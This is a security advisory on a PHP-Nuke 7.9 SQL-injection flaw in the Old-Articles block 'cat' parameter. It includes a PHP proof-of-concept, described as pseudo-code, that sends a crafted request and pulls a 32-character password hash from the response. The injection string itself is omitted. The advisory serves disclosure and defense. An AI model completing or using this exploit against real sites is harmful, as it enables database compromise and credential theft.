source: http://www.securityfocus.com/bid/22037/info

PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

PHP-Nuke 7.9 and prior versions are vulnerable; other versions may also be affected. 

<?
/*

Neo Security Team - Pseudo-Code Proof of Concept Exploit
PHP-Nuke <= 7.9 Old-Articles Block "cat" SQL Injection vulnerability

http://www.neosecurityteam.net
Paisterist

*/
set_time_limit(0);
$host="localhost";
$path="/phpnuke/";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);

if ($fp) {
    /* we put the GET request on $p variable, with "cid" with the 
malicious code and "categories" set to 1. */

    fwrite($fp, $p);

    while (!feof($fp)) {
        $content .= fread($fp, 4096);
    }

    preg_match("/([a-z0-9]{32})/", $content, $matches);

    if ($matches[0])
    print "<b>Hash: </b>".$matches[0];
}
?>